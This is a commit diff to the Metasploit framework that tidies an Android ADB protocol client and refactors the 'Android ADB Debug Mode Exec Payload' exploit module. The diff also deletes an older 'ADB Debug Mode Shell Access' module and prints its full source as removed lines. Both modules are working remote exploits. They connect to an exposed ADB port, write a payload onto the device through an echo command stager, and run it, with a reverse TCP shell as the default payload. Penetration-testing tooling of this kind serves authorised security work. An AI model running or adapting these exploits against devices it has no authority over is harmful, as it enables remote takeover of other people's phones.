Last mile polish and tweaks.

lib/rex/proto/adb/client.rb

@@ -28,6 +28,10 @@ class Client
     ADB::Message::Close.new(local_id, response.arg0).send_recv(@sock)
   end
 
+  def read_message
+    ADB::Message.read(@sock)
+  end
+
 end # Client
 
 end # ADB

lib/rex/proto/adb/message.rb

@@ -20,12 +20,6 @@ class Message
   attr_accessor :arg1
   attr_accessor :data
 
-  def initialize
-    self.command = self.arg0 = self.arg1 = 0
-    self.command = self.class::COMMAND if defined?(self.class::COMMAND)
-    self.data = ""
-  end
-
   def initialize(arg0, arg1, data)
     self.command = self.class::COMMAND if defined?(self.class::COMMAND)
     self.arg0 = arg0
@@ -101,7 +95,7 @@ class Message
   class Connect < Message
     COMMAND = "CNXN"
     DEFAULT_VERSION = 0x01000000
-    DEFAULT_MAXDATA = 256*1024
+    DEFAULT_MAXDATA = 4096
     DEFAULT_IDENTITY = "host::"
 
     def initialize(version=DEFAULT_VERSION,
@@ -109,6 +103,8 @@ class Message
                    system_identity_string=DEFAULT_IDENTITY)
       super
     end
+
+
   end
 
   class Auth < Message

modules/exploits/android/adb/exec_payload.rb

@@ -16,12 +16,12 @@ class Metasploit3 < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Android ADB Debug Mode Exec Payload',
       'Description'    => %q{
-        Writes and spawns a native shell on an android device that is listening
+        Writes and spawns a native payload on an android device that is listening
         for adb debug messages.
       },
       'Author'         => ['joev'],
       'License'        => MSF_LICENSE,
-      'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/reverse_tcp' },
+      'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
       'Platform'       => 'linux',
       'Arch'           => ARCH_ALL,
       'Targets'        => [ ['Automatic', {}] ],
@@ -36,28 +36,23 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
-    begin
+    setup_adb_connection do
-      connect
+      device_info = @adb_client.connect.data
-      device_info = adb_client.connect
       print_good "Detected device:\n#{device_info}"
       return Exploit::CheckCode::Vulnerable
-    ensure
-      disconnect
     end
 
     Exploit::CheckCode::Unknown
   end
 
   def execute_command(cmd, opts)
-    response = adb_client.exec_cmd(cmd)
+    response = @adb_client.exec_cmd(cmd)
     print_good "Command executed, response:\n #{response}"
   end
 
   def exploit
-    begin
+    setup_adb_connection do
-      print_status "Connecting to device..."
+      device_data = @adb_client.connect
-      connect
-      device_data = adb_client.connect
       print_good "Connected to device:\n#{device_data.data}"
       execute_cmdstager({
         :flavor => :echo,
@@ -65,13 +60,18 @@ class Metasploit3 < Msf::Exploit::Remote
         :prefix => '\\\\0',
         :temp => datastore['WritableDir']
       })
+    end
+  end
+
+  def setup_adb_connection(&blk)
+    begin
+      print_status "Connecting to device..."
+      connect
+      @adb_client = Rex::Proto::ADB::Client.new(sock)
+      blk.call
     ensure
       disconnect
     end
   end
 
-  def adb_client
-    @adb_client ||= Rex::Proto::ADB::Client.new(sock)
-  end
-
 end

modules/exploits/android/adb/shell.rb

@@ -1,77 +0,0 @@
-##
-# This module requires Metasploit: http://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-require 'rex/proto/adb/client'
-
-class Metasploit3 < Msf::Exploit::Remote
-  Rank = ExcellentRanking
-
-  include Msf::Exploit::Remote::Tcp
-  include Msf::Exploit::CmdStager
-
-  def initialize(info = {})
-    super(update_info(info,
-      'Name'           => 'Android ADB Debug Mode Shell Access',
-      'Description'    => %q{
-        Writes and spawns a native shell on an android device that is listening
-        for adb debug messages.
-      },
-      'Author'         => ['joev'],
-      'License'        => MSF_LICENSE,
-      'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/reverse_tcp' },
-      'Platform'       => 'linux',
-      'Arch'           => ARCH_ALL,
-      'Targets'        => [ ['Automatic', {}] ],
-      'DefaultTarget'  => 0,
-      'DisclosureDate' => 'Jan 01 2016'
-    ))
-
-    register_options([
-      Opt::RPORT(5555),
-      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
-    ], self.class)
-  end
-
-  def check
-    begin
-      connect
-      device_info = adb_client.connect
-      print_good "Detected device:\n#{device_info}"
-      return Exploit::CheckCode::Vulnerable
-    ensure
-      disconnect
-    end
-
-    Exploit::CheckCode::Unknown
-  end
-
-  def execute_command(cmd, opts)
-    response = adb_client.exec_cmd(cmd)
-    print_good "Command executed, response:\n #{response}"
-  end
-
-  def exploit
-    begin
-      print_status "Connecting to device..."
-      connect
-      device_data = adb_client.connect
-      print_good "Connected to device:\n#{device_data.data}"
-      execute_cmdstager({
-        :flavor => :echo,
-        :enc_format => :octal,
-        :prefix => '\\\\0',
-        :temp => datastore['WritableDir']
-      })
-    ensure
-      disconnect
-    end
-  end
-
-  def adb_client
-    @adb_client ||= Rex::Proto::ADB::Client.new(sock)
-  end
-
-end